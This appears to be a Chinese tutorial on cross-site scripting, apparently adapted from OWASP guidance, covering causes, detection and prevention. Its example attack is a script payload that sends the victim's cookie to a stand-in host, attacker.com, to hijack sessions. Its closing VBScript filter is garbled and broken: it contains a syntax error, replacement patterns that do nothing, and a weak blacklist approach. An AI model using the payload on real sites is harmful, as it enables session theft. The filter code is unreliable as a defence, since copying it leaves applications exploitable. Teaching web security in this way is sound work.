XSS攻击(跨站脚本)
XSS攻击当应用程序收到含有不可信的数据,在没有进行适当的验证和转义的情况下,就将它发送给一个网页浏览器,或者使用可以创建javaScript脚本的浏览器API利用用户提供的数据更新现有网页,这就会产生跨站脚本攻击。XSS允许攻击者在受害者的浏览器上执行脚本,从而劫持用户会话、危害网站或者将用户重定向到恶意网站。
我存在XSS漏洞吗?
如果你的服务器端代码使用用户提供的输入作为HTML输出的一部分,而你不要使用敏感的转义,以确保它不能运行,那么你就存在了服务器端XSS漏洞。如果一个网页使用JavaScript来动态添加攻击者—可控的数据到一个网页,你可能有客户端XSS。理想情况下,最好避免将攻击者可控的数据发送到不安全的JavaScriptAPI,也可以通过转义(在较小程度上)输入验证加强安全。
自动化工具能够自动找到一些跨站脚本漏洞。然而,每一个应用程序使用不同的方式生成输出页面,并且使用不同的浏览器端解释器,如JavaScript、ActiveX、Flash和Silverlight,这使得自动检测变得很困难。通常使用建立在这些库之上的第三方库,这种多样性使得自动化检测困难,特别是使用现代单页应用程序时功能强大的JavaScript框架和库。因此,要想达到全面覆盖,须使用结合的方式,在自动检测的基础上,采用人工代码审核和手动渗透测试。
攻击案例场景
应用程序在下面HTML代码段的构造中使用未经验证或转义的不可信的数据:
(String)page+="<inputname='creditcard'type='TEXT‘value='"+request.getParameter("CC")+"'>";
攻击者在浏览器中修改“CC”参数为如下值:
'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.
这个攻击导致受害者的会话ID被发送到攻击者的网站,使得攻击者能够劫持用户当前会话。
请注意攻击者同样能使用跨站脚本攻破应用程序可能使用的任何跨站请求伪造(CSRF)防御机制。
如何防止XSS?
防止XSS需要将不可信数据与动态的浏览器内容区分开。
- 为了避免服务器XSS,最好的办法是根据数据将要置于的HTML上下文(包括主体、属性、JavaScript、CSS或URL)对所有的不可信数据进行恰当的转义(escape)。
- 为了避免客户端XSS,最好的选择是避免传递不受信任的数据到JavaScript和可以生成活动内容的其他浏览器API。如果这种情况不能避免,可以采用OWASPDOMbasedXSSPreventionCheatSheet描述的类似上下文敏感的转义技术应用于浏览器API。
- 通常防止脚本如下:
Function XSSRequest(id)
XSSRequest=checkXSS_II(Request(id),3) '3代表循环次数,用递归更合理
end function
function checkXSS_II(strHTML,times) '<scr<script>ipt>alert('456');</script> 防止嵌套多个<script>
If Isnull(strHTML) Then
checkXSS_II = ""
Exit Function
End If
for cx=1 to times
strHTML=checkXSSF(strHTML)
next
checkXSS_II=strHTML
end function
Function checkXSSF(strHTML)
If Isnull(strHTML) Then
checkXSSF = ""
Exit Function
End If
'strHTML=server.HTMLEncode (strHTML)
Dim objRegExp,strOutput,Matches
Set objRegExp=New Regexp
objRegExp.IgnoreCase=true
objRegExp.Global=True
objRegExp.Pattern = Chr(0)
strOutput = objRegExp.Replace(strHTML, "")
objRegExp.Pattern = "<"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = "<script>"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = "</script>"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = "<script"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = "</script"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = "script>"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = ">"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = """
strOutput = objRegExp.Replace(strOutput, """")
objRegExp.Pattern = "<object"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = "</object>"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = "<"
strOutput = objRegExp.Replace(strOutput, "<")
objRegExp.Pattern = ">"
strOutput = objRegExp.Replace(strOutput, ">")
strOutput = Replace(strOutput,"alert(","")
checkXSSF =strOutput
Set objRegExp=Nothing
End Function
网友评论